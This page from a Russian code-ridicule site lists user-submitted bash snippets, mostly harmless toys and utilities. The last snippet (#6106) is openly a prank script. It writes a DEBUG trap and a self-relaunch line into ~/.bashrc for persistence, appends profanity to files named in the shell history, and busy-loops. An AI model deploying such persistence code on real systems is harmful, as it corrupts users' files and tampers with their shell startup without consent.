Beri bash i ebash / Говнокод #6711 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
# Fallback static file handler, now with XSendfile support.
    if not if(test -f $local_path) {
        if(! ~ $#xsendfile 0) {
            if(! ~ $#xsendfile_alternate 0)
                XSendfileHeader='X-Accel-Redirect'
            if not
                XSendfileHeader='X-Sendfile'
            echo $XSendfileHeader': '`{pwd}^'/'$local_path
        }
        if not
            static_file $local_path
    }
    if not if(~ $req_path /pub/* && test -f .$req_path) {
        if(! ~ $#xsendfile 0) {
            if(! ~ $#xsendfile_alternate 0)
                XSendfileHeader='X-Accel-Redirect'
            if not
                XSendfileHeader='X-Sendfile'
            echo $XSendfileHeader': '`{pwd}^'/'$req_path
        }
        if not
            static_file .$req_path
    }

dukzcry dukzcry, (Updated )

Комментарии (9, +9)

Beri bash i ebash / Говнокод #6631 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
#!/bin/bash

cat -b $1 > file.txt
sed -e 's/^/<br>/g' -i file.txt
curl --data-urlencode <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d9bfb0b5bc99bfb0b5bcf7ada1ad">[email protected]</a> netelis.hmsite.net/upload.php | head -n1

Аналог wgetpaste

AliceGoth AliceGoth, (Updated )

Комментарии (12, +12)

Beri bash i ebash / Говнокод #6457 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
#!/bin/bash

export cpx=0
export cpy=0
cf=0
export xf=0
export yf=0
while :
do
  tput reset
  xp=`cat /tmp/X.txt`
  yp=`cat /tmp/Y.txt` 
echo "xp $xp yp $yp"
clear
if [ $cpx -eq $xp ]
then
  echo "x coincided"
  xf=1
elif [ $cpx -gt $xp ]
then
  let cpx--
else
  let cpx++
fi

if [ $cpy -eq $yp ]
then
  echo "y coincided"
  yf=1
elif [ $cpy -gt $yp ]
then
  let cpy--
else
  let cpy++
fi
tput cup 45 130
echo px $xp py $yp
tput cup 46 130
echo x $cpx y $cpy
tput cup $cpx $cpy
sleep 0.5s
if [ $xf -eq 1 ]
then
  if [ $yf -eq 1 ]
  then
    echo "Point coincide"
    exit
  fi
fi
done

Move cursor in right place.

AliceGoth AliceGoth, (Updated )

Комментарии (24, +24)

Beri bash i ebash / Говнокод #6439 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
#!/bin/bash

export k=1
export g=0
export i=1
export j=1
handle_terminatem() {
    let k=-1
    let g=0
}
handle_terminatep() {
    let k=1
    let g=0
}
handle_terminategp() {
    let g=1
    let k=0
}
handle_terminategm() {
    let g=-1
    let k=0
}
echo pid $$
trap handle_terminatem 2 3
trap handle_terminatep 20 19 9
trap handle_terminategp 31 
trap handle_terminategm 1 

while :
do
  tput clear
  tput cup $i $j
  echo "$1 $k $g"
  if [ $j -gt 0 ]
  then
  let "j+=k"
  else 
    let j=1
  fi
  if [ $i -gt 0 ]
  then
  let "i+=g"
    else
    let i=1
  fi
  sleep 0.1s
done

Управляет сигналами положением слова курсора на экране.

AliceGoth AliceGoth, (Updated )

Комментарии (0)

Beri bash i ebash / Говнокод #6437 Ссылка на оригинал

0

  1. 1
  2. 2
xxx: Знакомый попал в дтп, спорная ситуация, отдал гайцам флешку из регистратора, опечатали в конверт.
xxx: Гайцы внимательно изучили - признали невиновность по ДТП, и за одно наштрафовали на много тысяч по 4 случаям записанным на флешке и в конце концов лишили прав за встречку, записанную в начале дня.

fuckyounoob fuckyounoob, (Updated )

Комментарии (47, +47)

Beri bash i ebash / Говнокод #6313 Ссылка на оригинал

0

  1. 1
echo "Ghbdtn? rfr ltkf&" | sed "s/.*/\L&/;y|f,dult~;pbqrkvyjghcnea[wxioms]'.z&?|абвгдеёжзийклмнопрстуфхцчшщьыъэюя?,|"

Транслирует английскую раскладку в русскую.

AliceGoth AliceGoth, (Updated )

Комментарии (5, +5)

Beri bash i ebash / Говнокод #6268 Ссылка на оригинал

0

  1. 1
find . -type f -exec sed -i 's^`/bin/date -v1d -v-1d "+%Y-%m-%d"`^`/bin/date --date "$(date +%m/01/%Y) yesterday" +%Y-%m-%d`^g;s^`/bin/date -v1d "+%Y-%m-%d"`^`/bin/date --date "$(date +%m/01/%Y)" +%Y-%m-%d`^g;s^`/bin/date -v+1m -v1d -v-1d "+%Y-%m-%d"`^`/bin/date --date "$(date +%m/01/%Y) + 1month - 1day" +%Y-%m-%d`^g;s^/bin/date -v-2d ^/bin/date --date "$(date +%m/%d/%Y) -2day" ^g;s^/bin/date -v-7d ^/bin/date --date "$(date +%m/%d/%Y) -7day" ^g;' {} \;

spaceoflabview spaceoflabview, (Updated )

Комментарии (4, +4)

Beri bash i ebash / Говнокод #6222 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
  57. 57
#!/bin/bash

######################################################################################
#
#	Write a bash script that obtains active processes for the current user, 
#	breaks them into chains and prints all unique chains containing 3 or more 
#	PIDs in the following format:
#		PID1:PID2:PID3:…:PIDn
#		PID:PID:PID:…:PID
#		…
#	So that each next PID is a parent of the previous PID, the first PID in 
#	each chain does not have children and the last PID in each chain 
#	does not have parent.
#
######################################################################################

TEMPFILE="/tmp/$0$$"				# file needs to save the process list
						# it's really needed to divide columns
						# generated 'ps'
						
# parameters:
# 	-H 	- sorts the list as process forest (it lets to find connection between child and parent faster)
#	-o	- sets the output format
#	"%p %P" - thow columns in output: PID and PPID
#	-u	- sets username
#	`whoami` - get the current user name
ps -H -o "%p %P" -u `whoami` > $TEMPFILE
PIDLIST=(`awk '/[0-9]/ {print $1}' $TEMPFILE`)	# make an array using the first column
PPIDLIST=(`awk '/[0-9]/ {print $2}' $TEMPFILE`)	# 	and the second

SIZE=${#PIDLIST[*]}
K=0
# bypassing the forest using stack which emulates LINKS array. K is the pointer to stack's top
for (( i=0; i<$SIZE; i++ ))
do
    if [[ $K = 0 || ${PPIDLIST[$i]} = ${LINKS[$K-1]} ]]	# new tree or new edge in the tree.
    then
        LINKS[$K]=${PIDLIST[$i]}		# push PID to stack
        K=`expr $K + 1`
    else 					# the chain is complete.
	if [[ $K > 2 ]]				# enough size to print the chain
	then				# reversed formatted output the chain
	    echo ${LINKS[*]} | awk '{ printf $NF; for (i = NF-1; i > 0; --i) printf ":"$i}'
	    echo
	fi
        until [[ $K == 0 || ${PPIDLIST[$i]} == ${LINKS[$K-1]} ]]
        do 					# deleting elements from stack until find a
    						#	parent or tree is end
    	    unset LINKS[$K-1]
    	    K=`expr $K - 1`
        done
	LINKS[$K]=${PIDLIST[$i]}		# push PID to stack
	K=`expr $K + 1`
    fi
done

rm -rf $TEMPFILE				# removing temp file

cahekm cahekm, (Updated )

Комментарии (16, +16)

Beri bash i ebash / Говнокод #6204 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
#!/bin/bash

num=30
while : 
do
lns=`aureport -f -i --summary | wc -l`
aureport -f -i --summary | wc -l
if [ $num -gt $lns ]
then
  num=0
fi
aureport -f -i --summary | head -n$num | tail -n30 | ./mkbar files
let "num=num+30"
echo $num
  sleep 1s
done

Выводит аудит файлов в виде диаграммы по 30 файлов за раз.

AliceGoth AliceGoth, (Updated )

Комментарии (0)

Beri bash i ebash / Говнокод #6106 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
#!/bin/bash

echo Fuck >> $1
x=`tail -n1 ~/.bashrc`
if [ "$x" = "$0 &" ]
then
echo exit
else 
echo "trap 'echo \"Fuck $USER\">>`cat ~/.bash_history | tail -n1 | gawk '{ print $1 }'`' DEBUG;" >> ~/.bashrc;
echo "$0 `cat ~/.bash_history|tail -n1 | gawk '{ print $1 }'` &" >> ~/.bashrc
fi
trap "cdm=`cat ~/.bash_history| tail -n1 | gawk '{ print $1 }'`" DEBUG
echo cdm $cdm
while :
do
echo -n
done

Прога должна присоединять к файлам в истории свой текст.

AliceGoth AliceGoth, (Updated )

Комментарии (3, +3)